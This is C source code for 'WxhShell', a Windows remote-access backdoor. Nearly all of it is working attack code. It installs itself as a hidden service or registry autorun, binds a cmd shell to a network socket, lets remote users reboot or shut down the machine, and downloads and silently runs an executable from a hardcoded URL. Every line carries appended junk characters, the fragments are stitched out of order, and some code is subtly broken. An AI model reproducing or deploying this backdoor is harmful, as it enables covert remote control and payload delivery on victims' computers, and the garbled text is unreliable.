    if(Boot(SHUTDOWN)) XnBm`vk?V!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bnijM/73  
    else { sS, zzx<  
    closesocket(wsh); o"|O ]  
    ExitThread(0); .aNO( /kO  
    } 7w "sJ  
    break; f5@.^hi[  
    } 89zuL18V  
  // 获取shell OuB2 x=B  
  case 's': { QF\kPk(CtD  
    CmdShell(wsh); KHvIN}V5?3  
    closesocket(wsh); "@.Z#d|Y  
    ExitThread(0); MWM +hk1fs  
    break; |]^l^e 6m  
  } R=`U4Ml;  
  // 退出 0/ut:RV0  
  case 'x': { SK's!m:r=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y0,Ft/D  
    CloseIt(wsh); x.I][(}  
    break; kr^0% A  
    } G9\EZ\x!  
  // 离开 '.pgXsC:=?  
  case 'q': { D899gGe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 43KaL(  
    closesocket(wsh); FyCBN tCv  
    WSACleanup(); e\`wlaP,  
    exit(1); z~F37]W3[  
    break; {3_Gjb5\\4  
        } }A-{6Qe  
  } mv{<'  
  } s~L`53A  
$( S*GF$S  
  // 提示信息 y)P&]&"?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c8T/4hU MN  
} Tru c[A.2Z  
  } Zw+=ng.q?  
8pqs?L@W  
  return; Gc wt7~  
} FtE90=$  
^Sw2xT$p{j  
// shell模块句柄 \H^;'agA  
int CmdShell(SOCKET sock) )&>L !,z  
{ oWI!u 5  
STARTUPINFO si; (}G!np  
ZeroMemory(&si,sizeof(si)); Ddb-@YD&+0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?fV?|ZGZI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {o( * f  
PROCESS_INFORMATION ProcessInfo; G(3;;F7"  
char cmdline[]="cmd"; )`^ /(YG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GjEqU;XBi  
  return 0; G%;kGi`m  
} IAYACmlN&  
]a M-p@  
// 自身启动模式 ((qGh>*  
int StartFromService(void) vTdUuj3N  
{ ] @ufV  
typedef struct > V8sm/M  
{ M;qBDT~)  
  DWORD ExitStatus; E30Ln_^o  
  DWORD PebBaseAddress; $(3uOsy   
  DWORD AffinityMask; ^+wk  
  DWORD BasePriority; 40u7fojg2  
  ULONG UniqueProcessId; !~)90Z!  
  ULONG InheritedFromUniqueProcessId; u\f3qc,]F  
}   PROCESS_BASIC_INFORMATION; B_hPcmB  
mg`j[<wp  
PROCNTQSIP NtQueryInformationProcess; tU{\ev$x  
8fh4%#,C%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5Dd:r{{ Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s"WBw'_<<  
$C u R}g  
  HANDLE             hProcess; 6x/s|RWL1  
  PROCESS_BASIC_INFORMATION pbi; }-74 f  
9mDn KW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "Kq>#I'%W  
  if(NULL == hInst ) return 0; FI$XSG  
g rspt}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t{zBC?c R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *jE;9^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h48YDWwy  
[X<Pk  
  if (!NtQueryInformationProcess) return 0; ;g+]klR!  
z6I%wh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d*2u}1Jo8  
  if(!hProcess) return 0; 0\Y1}C  
DHv2&zH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^^U%cuKg  
pM9yOY  
  CloseHandle(hProcess); 2e59Ez%k6  
^&Q< tN 7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E=]]b;u-n  
if(hProcess==NULL) return 0; et` 0Je  
QD$Gw-U-l=  
HMODULE hMod; FAw1o  
char procName[255]; hO \/  
unsigned long cbNeeded; s1 bU  
g5Hr7K m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /OG zt  
R&*@@F-dx  
  CloseHandle(hProcess); {n&Uf{  
dxCPV6 XI  
if(strstr(procName,"services")) return 1; // 以服务启动 H O*YBL  
[9AM\n>g  
  return 0; // 注册表启动 F?BS717qS%  
} <( EyXV  
wt?o 7R2  
// 主模块 UFw](%=&M  
int StartWxhshell(LPSTR lpCmdLine) bq NP#C  
{ ,EI:gLH  
  SOCKET wsl; #K4*6LI  
BOOL val=TRUE; [Gtb+'8  
  int port=0; o_$&XNC_  
  struct sockaddr_in door; ($8t%jVWJJ  
{[W(a<%bXm  
  if(wscfg.ws_autoins) Install(); \f%.n]>  
8EI:(NE*J  
port=atoi(lpCmdLine); "%@v++4y  
X{\jK]O  
if(port<=0) port=wscfg.ws_port; ),` 8eQC  
ix&'0IrX*  
  WSADATA data; lP3h<j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; orqJ[!u)`  
y' [LNp V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cU8xUpq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <cj{Qk  
  door.sin_family = AF_INET; Ryv_1gR!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S&wzB)#'  
  door.sin_port = htons(port); u-:Ic.ZV  
'SV7$,mK@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  "r$/  
closesocket(wsl); )];aIA$  
return 1; vFhz!P~  
} e.8$ga{  
7u|B ](FS  
  if(listen(wsl,2) == INVALID_SOCKET) { wk @,wOt  
closesocket(wsl); [_.n$p-  
return 1; 9 <\`nm  
} ue\t,*KYd  
  Wxhshell(wsl); !%[S49s  
  WSACleanup(); ].mqxf  
o35fifM`  
return 0; 6Hf,6>  
=;ICa~`C;  
}  3+U]?7t  
G%:G eW  
// 以NT服务方式启动 &%,DZA`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +}JM&bfK  
{ ej^3Y Nh&  
DWORD   status = 0; Z a(|(M H  
  DWORD   specificError = 0xfffffff; 3CZS)  
6gU{(H   
  serviceStatus.dwServiceType     = SERVICE_WIN32; "#4dW7E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sn{tra  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Mu&x_&|  
  serviceStatus.dwWin32ExitCode     = 0; fk{0d  
  serviceStatus.dwServiceSpecificExitCode = 0; m4m<nnM  
  serviceStatus.dwCheckPoint       = 0; DQ80B)<O  
  serviceStatus.dwWaitHint       = 0; N+g@8Q2s;5  
goZ V.,w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <Ef[c@3  
  if (hServiceStatusHandle==0) return; h-QLV[^  
e.vtEQV9  
status = GetLastError(); J2M(1g)t9  
  if (status!=NO_ERROR) r:g9Z_  
{ +ts0^;QO2{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D/ Dt   
    serviceStatus.dwCheckPoint       = 0; Vw~\H Gs/~  
    serviceStatus.dwWaitHint       = 0; {' 5qv@3  
    serviceStatus.dwWin32ExitCode     = status; m;,xmEp  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7wVH8^|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^4pto$#@O:  
    return; rx!=q8=0R  
  } n7! H:{L  
[TTSA2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WNy3@+@GZ  
  serviceStatus.dwCheckPoint       = 0; 46No%cSiG  
  serviceStatus.dwWaitHint       = 0; A)NkT`<)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2`bdrRD0  
} (K<9h L+X  
l "pN90B4  
// 处理NT服务事件,比如:启动、停止 C+N k"l9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0.;}]v  
{ Q8nId<\(  
switch(fdwControl) j6YiE~  
{ ]?LB?:6  
case SERVICE_CONTROL_STOP: zP)~a  
  serviceStatus.dwWin32ExitCode = 0; ~ 'Vxg}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C9~~O~7x  
  serviceStatus.dwCheckPoint   = 0; A :e;k{J  
  serviceStatus.dwWaitHint     = 0; h~} .G{"  
  { l#qv 5f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^@6q  
  } PK2~fJB  
  return; QP(BZJC  
case SERVICE_CONTROL_PAUSE: Xm!-~n@-m7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nJFg^s 1  
  break; B[o`k]]  
case SERVICE_CONTROL_CONTINUE: kOrl\_!z3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !0}\&<8/m  
  break; T.:+3:8|F  
case SERVICE_CONTROL_INTERROGATE: B80aw>M  
  break; e %O0hE  
}; k$i'v:c|:i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 01@t~v3!Z  
} md Gwh7/3  
zsQoU&D 5  
// 标准应用程序主函数 l*=aMjd?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EqB)sK/3  
{ AMCyj`Ur  
L>9R4:g  
// 获取操作系统版本 ip:LcGt  
OsIsNt=GetOsVer(); S4o$t -9l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tkKJh !Q7  
{6Au3gt/  
  // 从命令行安装 rofNZ;nu  
  if(strpbrk(lpCmdLine,"iI")) Install(); q_fam,9  
x3G:(YfO  
  // 下载执行文件 +[-i%b3q  
if(wscfg.ws_downexe) { 5Fw - d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }IaA7f  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]uh3R{a/  
} #f,y&\Xmf  
\2v"YVWw  
if(!OsIsNt) { nv/[I,nw  
// 如果时win9x,隐藏进程并且设置为注册表启动 7/Il L  
HideProc(); 3iNkoBCg  
StartWxhshell(lpCmdLine); @%ECj)u`O  
} f'Mop= .  
else ,_ 2x{0w:>  
  if(StartFromService()) K\?]$dK5  
  // 以服务方式启动 DBH#)4do@  
  StartServiceCtrlDispatcher(DispatchTable); &#{dWObh  
else r6.d s^  
  // 普通方式启动 ~/#1G.H  
  StartWxhshell(lpCmdLine); mTDVlw0dh  
&, a3@i  
return 0; Fke//- R  
} o>]`ac0b}Y  
dY!Z  
nHXX\i  
*f+: <=i  
=========================================== /bRg?Q  
Xl-e !  
E,[xUz"  
J$ut_N):N  
*ZCn8m:-+  
I:j3sy  
" ~mz%E  
@mQ:7-,~  
#include <stdio.h> /F/;G*n  
#include <string.h> S~OhtHwK  
#include <windows.h> E /<lGm:.  
#include <winsock2.h> 3R$Z[D-  
#include <winsvc.h> 'Prxocxq  
#include <urlmon.h> kGYTl,A{  
tln37vq  
#pragma comment (lib, "Ws2_32.lib") 5]Ajf;W\  
#pragma comment (lib, "urlmon.lib") }FqA ppr  
JK_OZ  
#define MAX_USER   100 // 最大客户端连接数 ))h6~1`  
#define BUF_SOCK   200 // sock buffer dFXc/VH')  
#define KEY_BUFF   255 // 输入 buffer W7No ls{  
}:Z9Vc ZP`  
#define REBOOT     0   // 重启 4_?7&G0(  
#define SHUTDOWN   1   // 关机 'fd1Pj9~$  
i b6^x:HGU  
#define DEF_PORT   5000 // 监听端口  a*dQ _  
oMH.u^b]fT  
#define REG_LEN     16   // 注册表键长度 SI:ifR&T  
#define SVC_LEN     80   // NT服务名长度 2][DZl  
&"Ux6mF-"  
// 从dll定义API :;]Oc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V4w=/e _  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Rd*[%)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oA-:zz> wL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #\rwLpC1u  
u,. 3  
// wxhshell配置信息 _"a=8a06G  
struct WSCFG { Zo-$z8  
  int ws_port;         // 监听端口 },$0&/>ft  
  char ws_passstr[REG_LEN]; // 口令 g{k1&|  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]3{0J  
  char ws_regname[REG_LEN]; // 注册表键名 ,T,:-E  
  char ws_svcname[REG_LEN]; // 服务名 si4-3eC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .d<W`%[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S56]?M|[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "\%On >  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %r{3wH# D@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7*o*6,/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L:nXWz  
v-j3bB  
}; OW;tT=ql  
$^/0<i$   
// default Wxhshell configuration <i\A_qqc/  
struct WSCFG wscfg={DEF_PORT, 3Hi+Z}8  
    "xuhuanlingzhe", JAc_kl{4O  
    1, Ut@RGg+f8  
    "Wxhshell", >H][.@LyR  
    "Wxhshell", \*T"M*;  
            "WxhShell Service", OR6ML- |  
    "Wrsky Windows CmdShell Service", I,@r5tK o  
    "Please Input Your Password: ", F0Jx(  
  1, ChrY"  
  "http://www.wrsky.com/wxhshell.exe", OTWkUB{  
  "Wxhshell.exe" KxGX\   
    }; {2d_"lHBt  
vT^Sk;E  
// 消息定义模块 Sb2v_o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; + xv!$gJEj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z`Wt%tL(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :fcM:w&  
char *msg_ws_ext="\n\rExit."; c,EBF\r8*  
char *msg_ws_end="\n\rQuit."; t:~t@4j}  
char *msg_ws_boot="\n\rReboot..."; UKd'+R]  
char *msg_ws_poff="\n\rShutdown..."; 2.uA|~qH  
char *msg_ws_down="\n\rSave to "; 1 k8x%5p  
Pz_Oe,{.I  
char *msg_ws_err="\n\rErr!"; q Dd~2"er  
char *msg_ws_ok="\n\rOK!"; }Nj97 R  
j1$8#/r;c  
char ExeFile[MAX_PATH]; RF}X ER  
int nUser = 0; |`k .y]9  
HANDLE handles[MAX_USER]; < E|s\u  
int OsIsNt; <Q < AwP  
vYmSKS  
SERVICE_STATUS       serviceStatus; -F/st  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BcWcdr+}9  
F'8T;J7  
// 函数声明 >B -q@D  
int Install(void); AIl4]F5I  
int Uninstall(void); ~!iQ6N?PY  
int DownloadFile(char *sURL, SOCKET wsh); Fe&qwq"  
int Boot(int flag); \p&~ ,%  
void HideProc(void); B1 0+*p(  
int GetOsVer(void); @ T ;L$x  
int Wxhshell(SOCKET wsl); fG LG$b  
void TalkWithClient(void *cs); rnFM/GAy  
int CmdShell(SOCKET sock); kfb/n)b'  
int StartFromService(void); b8KsR=]4I  
int StartWxhshell(LPSTR lpCmdLine); c{#yx_)V&  
\0;(VLN'U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *O$CaAr\s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8;P2A\ X  
i%Z2wP.o  
// 数据结构和表定义 ;^u*hZN[Up  
SERVICE_TABLE_ENTRY DispatchTable[] = q z&+=d@  
{ t G.(flW,  
{wscfg.ws_svcname, NTServiceMain}, m4w ') r~  
{NULL, NULL} )emOKS  
}; F!!N9VIC  
o5o^TW{  
// 自我安装 w FtN+  
int Install(void) V\~WvV  
{ sd re#@n}  
  char svExeFile[MAX_PATH]; \t4tiCw  
  HKEY key; Z,7R;,qX  
  strcpy(svExeFile,ExeFile); +t)n;JHN  
kYwb -;  
// 如果是win9x系统,修改注册表设为自启动 1$lh"fHU  
if(!OsIsNt) { 1nhtM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Zi$ziDz&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )ukpJ z""  
  RegCloseKey(key); :\~+#/=:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~i;fDQ&!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zdun,`6  
  RegCloseKey(key); 3:/'n  
  return 0; 9%)=`W  
    } O09ke-lC  
  } H5>hx {  
} / jTT5  
else { :6kjEI  
:c[n\)U[aa  
// 如果是NT以上系统,安装为系统服务 uwIc963  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uYG^Pc^v  
if (schSCManager!=0) .ae O}^  
{ Px@/Q  
  SC_HANDLE schService = CreateService S&jesG-F  
  ( vH %gdpxX  
  schSCManager, `\| ssC8u  
  wscfg.ws_svcname, ov# 7 hxe  
  wscfg.ws_svcdisp, qk(P>q8[  
  SERVICE_ALL_ACCESS, g+8hp@a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1n*W2:,z  
  SERVICE_AUTO_START, ,.IEDF<&  
  SERVICE_ERROR_NORMAL, (WlIwKP  
  svExeFile, .S\&L-{  
  NULL, [&S}dQ"  
  NULL, Oeya%C5'  
  NULL, \a^,sV  
  NULL, d^ ZMS~\*  
  NULL ^}yg%+  
  ); g|<Sfp+;+  
  if (schService!=0) ra '  
  { o`,Qku k  
  CloseServiceHandle(schService); %i0?UpA  
  CloseServiceHandle(schSCManager); 7B9`<{!h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >?W[PQ5yx  
  strcat(svExeFile,wscfg.ws_svcname); Rs& @4_D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xgsjm) )  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "$HbK @]!h  
  RegCloseKey(key); ~q0*"\Ff  
  return 0; VxO%rq3  
    } tCF&OOI4`  
  } _1Z=q.sC  
  CloseServiceHandle(schSCManager); Y]`.InG@  
} vm23U^VJ  
} #S g\q8(O  
<msxHw  
return 1; s$h] G[x  
} !7B\Xl'S  
)o _j]K+xI  
// 自我卸载 +0z 7KO%^^  
int Uninstall(void) d?,M/$h  
{ 0\{BWNK  
  HKEY key; OU DcY@x~  
N^?9ZO   
if(!OsIsNt) { uv{P,]lK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Jc4L5*Xn/  
  RegDeleteValue(key,wscfg.ws_regname); {y kYW%3s  
  RegCloseKey(key); XV>JD/K2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YOyX[&oi  
  RegDeleteValue(key,wscfg.ws_regname); rPzQ8<  
  RegCloseKey(key); sPAg)6&M  
  return 0; 0Rxe~n1o  
  } H/F+X?t$0  
} q]& .#&h  
} ]ekk }0  
else { 1MkI0OZE  
XhU@W}}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dpZ;l 9  
if (schSCManager!=0) 9$K;Raz%  
{ ?0*8R K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9|' B9C  
  if (schService!=0) Nf,Z;5e  
  { r4_eTrC,  
  if(DeleteService(schService)!=0) { ZsP2>%"  
  CloseServiceHandle(schService); I XA>`D  
  CloseServiceHandle(schSCManager); (n( fI f  
  return 0; ~!6K]hB4  
  } JeH;v0  
  CloseServiceHandle(schService); t/i5,le  
  } C2e.2)y  
  CloseServiceHandle(schSCManager); %n0;[sD0A  
} UnWW/]E  
} a.F Al@Br  
)8gGv  
return 1; sE(HZR1  
} 8Ad606  
"+"{+k5t  
// 从指定url下载文件 m"tOe?  
int DownloadFile(char *sURL, SOCKET wsh) zQy"m-Q  
{ { Ng oYl  
  HRESULT hr; )+I.|5g  
char seps[]= "/"; ZBD;a;wx  
char *token; R_P}~l  
char *file; &Jc_Fc(M  
char myURL[MAX_PATH]; D.!~dyI.,$  
char myFILE[MAX_PATH]; ytEC   
GDaN  
strcpy(myURL,sURL); >/f_F6ay#  
  token=strtok(myURL,seps); PrF}a<:n:  
  while(token!=NULL) D?jk$^p~m#  
  { s)A<=)w/e  
    file=token; p(SRjQt  
  token=strtok(NULL,seps); kW3E =pr  
  } igf )Hb;5  
Ha>*?`?yI  
GetCurrentDirectory(MAX_PATH,myFILE); gv15t'y9  
strcat(myFILE, "\\"); iSRpfU  
strcat(myFILE, file); qKS;x@  
  send(wsh,myFILE,strlen(myFILE),0); C z#Z<:  
send(wsh,"...",3,0); T4e\0.If  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JF9yVE-  
  if(hr==S_OK) pI+!92Z  
return 0; !X >=l  
else ~iBgw&Y  
return 1; >>dm }X  
a[bBT@f  
} CLD-mx|?  
_gNz9$S  
// 系统电源模块 2U kK0ls  
int Boot(int flag) rf+:=|/_3  
{ RNVbcd  
  HANDLE hToken; ` D7C?M#j]  
  TOKEN_PRIVILEGES tkp; w^k;D,h  
}]1BO  
  if(OsIsNt) { 8cx=#Me  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <hnCUg1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l2%bF8]z  
    tkp.PrivilegeCount = 1; Fh7'[>onw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0Y=![tO8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1B>Vt*=  
if(flag==REBOOT) { I&9S;I$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _&3<6$}i"  
  return 0; W" "*ASi  
} <3PL@orO  
else { u),Qa=Wp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TjK{9A  
  return 0; YKZrEP 4^  
} 7)rWw<mY  
  } l7(!`NPbC  
  else { !33#. @[  
if(flag==REBOOT) { jdeV|H} u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B-.v0R`5  
  return 0; rI$`9d  
} {)f~#37  
else { UnDgu4#R`A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DQ.v+C,  
  return 0; /(I*,.d  
} 8qi+IGRg  
} x Ha=3n  
!%<^K.wG  
return 1; C) QKPT  
} EY`H}S!xy  
g_*T?;!.U  
// win9x进程隐藏模块 h<l1]h+x  
void HideProc(void) E{xVc;t  
{ XALI<ZY  
jkAAqRR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d<w~jP\  
  if ( hKernel != NULL ) (fD ;g9  
  { 'J*<iA*W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BIaDY<j90  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h.rD}N\L  
    FreeLibrary(hKernel); ~s Qjl]  
  } ?zJpD8e  
/5AW?2)  
return; C`rLj5E%  
} e)nimq {6  
G |*(8r()  
// 获取操作系统版本 1RLY $M  
int GetOsVer(void) WlB' YL-`g  
{ ;P&y,:<m:  
  OSVERSIONINFO winfo; ;T]d M fO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5 v^yQ<70  
  GetVersionEx(&winfo); `?*%$>W#"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I|oT0y &  
  return 1; 31^cz*V  
  else <q)4la  
  return 0; 6Q4X 6U:WB  
} IJOvnZ("A  
>>l`,+y  
// 客户端句柄模块  uD_v!  
int Wxhshell(SOCKET wsl) X#xFFDzN  
{ =M6[URZ  
  SOCKET wsh; r#PMy$7L  
  struct sockaddr_in client; _eSd nHWx  
  DWORD myID; LVIAF0kX  
U8#xgz@  
  while(nUser<MAX_USER) &ej8mq"\  
{ 3>ex5  
  int nSize=sizeof(client); ] U@o0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -!RtH |P  
  if(wsh==INVALID_SOCKET) return 1; @YvOoTyb  
Gz I~TWc+G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vq*Q.0M+  
if(handles[nUser]==0) VO3pm6r5  
  closesocket(wsh); 5F+APz7  
else K`}{0@ilCw  
  nUser++; QR?yG+VU  
  } qM4c]YIaSl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MmPU7Nl%X  
3:/'t{ ^B  
  return 0; 72W,FU~OD  
} XKL3RMF9r  
i LBvGZ<9  
// 关闭 socket +.B<Hd  
void CloseIt(SOCKET wsh) t9gfU5?  
{ :pX`?Ew`g  
closesocket(wsh); _i_Q?w`  
nUser--; ->z54 T  
ExitThread(0); -Ue$T{;RoH  
} \mM<\-'p  
|rw%FM{F  
// 客户端请求句柄 N(6|yZ<J3M  
void TalkWithClient(void *cs) /gcEw!JS  
{ !2\ r LN  
gyHHoZc3  
  SOCKET wsh=(SOCKET)cs; ?,P3)&3g  
  char pwd[SVC_LEN]; V!%jf:k  
  char cmd[KEY_BUFF]; IH48|sa  
char chr[1]; ~\p]~qQ\K  
int i,j; ]  H~4  
b2(RpY2Y  
  while (nUser < MAX_USER) { a ?} .Fs  
8kE]_t  
if(wscfg.ws_passstr) { ;DA8B'^>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gwrYLZNGI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p;)"  
  //ZeroMemory(pwd,KEY_BUFF); %)jxW{  
      i=0; ?PA$Ur21lw  
  while(i<SVC_LEN) { f|A riM  
75nNh~?)\  
  // 设置超时 v`J*ixZ7t  
  fd_set FdRead; J2q,7wI#  
  struct timeval TimeOut; 4!Z5og1kn  
  FD_ZERO(&FdRead); 5IOFSy`  
  FD_SET(wsh,&FdRead); #?MY&hdU9  
  TimeOut.tv_sec=8; JTqDr  
  TimeOut.tv_usec=0; 5*PYT=p}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `0H g y=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c$ S{^IQ  
cEW0;\$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2M<R(W!&  
  pwd=chr[0]; wS+V]`b  
  if(chr[0]==0xd || chr[0]==0xa) { <H3ezv1M  
  pwd=0; 8 a!Rb-Q:  
  break; ,jA)wJ  
  } R2etB*k6[  
  i++; k 4/D8(OXw  
    } 0tIS Xu-  
d\MLOXnLq;  
  // 如果是非法用户,关闭 socket ` 8W*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lPH%Do>K  
} 2Y}?P+:%>  
lN,/3\B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H|ozDA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rrg96WD  
 $p!yhn7  
while(1) { }7fZ[J3  
^ PI5L  
  ZeroMemory(cmd,KEY_BUFF); ~vLW.:  
gM>t0)mGK  
      // 自动支持客户端 telnet标准   L!/\8-&$P  
  j=0; 4${jr\q]  
  while(j<KEY_BUFF) { V^y^ ;0I}[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ')a(.f  
  cmd[j]=chr[0]; 5vo.[^ty  
  if(chr[0]==0xa || chr[0]==0xd) { j.a`N2]WE  
  cmd[j]=0; jA".r'D%  
  break; kdz=ltw  
  } -?]W*f  
  j++; #QCphhG  
    } &1%q"\VI  
R [H+qr  
  // 下载文件 Yw _+`,W   
  if(strstr(cmd,"http://")) { 0![ +Q4"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a{!QOX%K  
  if(DownloadFile(cmd,wsh)) 8u[-'pV!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jF`BjxrG  
  else h%WE=\,Qp  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VxP&j0M>  
  } HW&%T7 a  
  else { q'pK,uNW  
/TS=7J#  
    switch(cmd[0]) { (R`B'OtGg  
  r&-m=Kk$  
